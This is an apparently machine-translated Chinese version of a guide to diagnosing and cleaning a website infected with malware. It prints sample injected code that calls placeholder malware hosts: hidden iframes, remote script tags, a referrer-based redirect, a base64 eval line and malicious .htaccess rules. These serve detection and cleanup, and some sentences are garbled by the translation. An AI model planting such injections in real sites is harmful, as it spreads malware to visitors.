恶意软件是指专门用于危害 计算机、移动设备、应用上运行的软件或其用户。 要详细了解什么是恶意软件,请参阅恶意软件和垃圾软件。
如果您的网站包含恶意软件,用户通常会看到该警告 搜索结果或网页中显示的“此网站可能会损害您的计算机” 用户尝试访问您的 网页时,浏览器显示的插页 如下所示:
<ph type="x-smartling-placeholder">![代表性恶意软件插页](https://web.developers.google.cn/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif?authuser=9&hl=sr)
您需要具备以下条件:
- 拥有网站服务器(Web、数据库、 和文件。
- 了解 shell 或终端命令。
- 能够对数据库运行 SQL 查询。
准备工作
- 注册 Search Console 并按照该处的说明验证对被黑网站的所有权。 Search Console 会提供受影响网页的样本,方便您查找和 从而更轻松地解决遭到恶意软件入侵的问题此外,您还会收到 。
查看 Google 安全浏览诊断页面 查看有关网站是否可能损害用户的公开信息。 您可以通过如下网址查看您的网页或网站的商家信息状态:
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
。例如:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
可以是特定网页网址 (http://example.com/badpage
) 或 您的整个网站 (example.com)。避免使用浏览器查看您网站上的网页。因为恶意软件经常会 通过利用浏览器漏洞进行传播 网页可能会损坏您的计算机。除诊断说明外, 例如使用 cURL 或 使用 Wget 执行 HTTP 请求 (例如,抓取页面)。
这些免费提供的工具有助于诊断重定向, 能够添加引荐来源网址或用户代理信息。包括 特定引荐来源网址或用户代理有助于模仿黑客行为, 黑客可能只会向具有特定 通过用户代理或引荐来源网址定位更多“真实用户”并避免 和恶意软件扫描程序的检测结果。
`curl -v --referer "http://www.google.com" <your-url>`
下面是一个同时指定了用户代理和引荐来源网址的示例:
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
我们建议抓取网页,无论网页是否显示
--referer "https://www.google.com"
,因为某些恶意软件仅激活
当用户来自 Google 搜索结果时触发。
创建一个文档,用来记录此步骤中发现的内容。该文件将 最终至少包含每个受损文件的名称和位置 并说明其感染方式 清理并维护您的网站。
观看本页前面的视频,了解恶意软件的工作原理以及如何 请在恶意软件调查期间确保安全
诊断
确定是哪种恶意软件在影响您的网站:
- 打开“安全问题”报告 。 展开恶意软件警告说明,查看受影响网页的示例列表。 请注意,此列表仅列出了部分情况。那么您可能就无法获得 所有类型的恶意软件
- 测试您的示例网页是否存在以下类型的恶意软件。
服务器配置恶意软件(多余的重定向)
黑客已经入侵了您的网站,并将访问者从您的网站
黑客可能会通过修改您服务器的
配置文件。服务器配置文件通常允许网站
管理员可以为网站上的特定网页或目录指定网址重定向,
网站。例如,在 Apache 服务器上,该文件为 .htaccess
文件以及 httpd.conf
。
诊断
访问“安全问题”报告中显示的一些示例网址。回答 从受到“服务器配置”感染的网页感染可能包括 以下标头:
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
确定受影响的文件
通过 Shell 或终端访问来登录您的服务器(网站可以离线
查看相关的服务器配置文件。可能还有更多
而不是一个已遭黑客入侵的服务器配置文件检查这些文件:
指令,例如重定向到未知网站。例如,在
.htaccess
文件后,您可能会看到如下所示的重定向:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL 注入
黑客入侵了您网站的数据库。例如,黑客可能 以编程方式将恶意代码插入数据库的每条记录中 这样当服务器加载的网页需要来自 那么恶意代码现在就已嵌入在网页内容中, 危害网站访问者。
诊断
- 在命令行中对受影响的网址运行一些查询,并检查 对“iframe”等 SQL 攻击字词的响应或“eval”。
登录数据库服务器或通过如下工具查看数据库: phpMyAdmin.如果 尝试通过 Wget 或 c网址 找到受损网页的来源 与实际的数据库条目通过 Wget 或 c网址 结合使用。例如,如果 您注意到自己的网页包含危险的 iframe,可以执行 SQL 搜索 iframe 代码的查询。例如:
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
您可能还需要检查服务器上的数据库日志和错误文件 异常活动,例如对于用户来说看起来不正常的 SQL 命令, 常规用户或错误。
解决问题
请更新每条受感染的数据库记录,或恢复您最近一次的已知数据库 备份。
代码注入
您网站上的网页已被修改为包含恶意代码,例如使用 iframe 恶意软件攻击性网站
诊断
使用 c网址 或 获取并检查是否存在可疑代码。注入的代码可以有多种类型 可能很难找到搜索“iframe”等字词可能会有帮助查找 iframe 代码。其他实用的关键字还包括“script”、“eval”和“unescape”。对于 例如,在所有文件中搜索“iframe”在基于 Unix 的系统上:
$grep -irn "iframe" ./ | less</pre>
以下是一些需要注意的常见恶意软件模式。
会加载恶意网站的 iframe:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
JavaScript 或其他脚本语言(可从 攻击性网站:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
会将浏览器重定向到攻击性网站的脚本:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
试图躲避检测的迷惑性恶意代码:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
旨在随机将有害代码写入其他无害的共享对象文件 脚本:
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
恶意错误模板
用于错误消息(例如“404 未找到文件”)的模板已配置 来传播恶意软件通过这种方式,攻击者可以针对 根本不存在
诊断
请求访问您网站上不存在的网页,或者会抛出其他类型的 并检查响应,看看它是否来自另一网站或 否则包含恶意软件。
解决问题
登录您的网络服务器并搜索服务器配置文件中是否存在错误
网页指令。例如,Apache 网络服务器的错误模板可以是
在 .htaccess
文件中声明。下面是一个 .htaccess
文件条目示例,
从恶意网站检索 404 错误页面:
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
准备好清理网站后,您可以替换 .htaccess
文件
删除服务器上不需要的 ErrorDocument 指令,
现有 .htaccess
个文件。如果遇到以下情况,请务必清理实际错误文件
在您的网站上展示。最后,重启网络服务器
更改生效。
从被侵或恶意网站加载的资源 {compromised-resources}
您的网站使用的内容或资源来自已知包含以下内容的网站: 恶意内容。这些文件可能是 JavaScript 文件、图片或其他文件。 因此,您的网站将被标记为存在从其他来源加载的 网站。
诊断
访问“安全问题”报告中显示的一些示例网址。
解决问题
- 要确认问题,您可以浏览 Search Console 中的“安全问题”报告。您应该会看到浏览器警告。
- 浏览器警告会告诉您可疑内容的网域。 移除对浏览器警告中列出的已标记网站的所有引用。 如果来自已标记网站的内容在您不知情的情况下被加入了, 更严重的问题。您的网站很可能已经遭到入侵, 应继续检查您的网站是否存在其他黑客手段和漏洞。
- 如果您故意添加来自合法网站的内容,
而您想在遭到举报的网站被举报后重新包含相应内容,
您可以使用
Google 安全浏览诊断页面
针对该网站 (
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external}。 合法网站的所有者通常很快就会清理这类网站。
进一步调查
接下来,检查您的系统上是否存在任何其他恶意文件或变更。通过 黑客可能篡改了已经完全创建的网页或数据库记录 新的垃圾网页、在干净的网页上显示垃圾内容的编写函数,或者 “后门”或重新注入 移除的恶意代码
如果您的网站处于在线状态,请考虑将其设为离线状态以进行此调查。
如果您的网站有已知的完好备份,请确定 或对它们进行调查在基于 Unix 您可以使用以下命令查找新文件:
diff -qr <current-directory> <backup-directory>
例如:
diff -qr www/ backups/full-backup-20120124/
另外:
md5sum <current-page> <backup-page>
例如:
md5sum www/page.html backups/full-backup-20120124/page.html
检查服务器、访问日志和错误日志中是否存在可疑活动,例如 失败的登录尝试、命令历史记录(尤其是以 root 身份执行的命令)以及 未知的用户账号。请注意,黑客可能篡改了这些日志 自己的目的。本视频中提供了一些示例 找出漏洞。
检查配置文件中是否存在重定向。您的配置文件
通常命名为 .htaccess
和 httpd.conf
。黑客往往
基于用户代理、时间或引荐来源网址进行重定向。如果您需要
更新配置文件时,您可能需要重启服务器
以使更改生效。
检查是否存在过于宽松的文件夹权限和文件权限。黑客篡改数据
因为如果网站所有者仍未检测到宽松的权限
这样黑客就能再次入侵该网站文件大于
644 (rw-r--r--)
以及大于 755 (rwxr-xr-x)
的文件夹可能会导致安全
问题。确保所有较宽松的权限均确有必要。已开启
基于 Unix 的系统,请尝试:
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
和:
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
如果您有数据库,请使用如下工具逐条调查数据库记录: phpMyAdmin.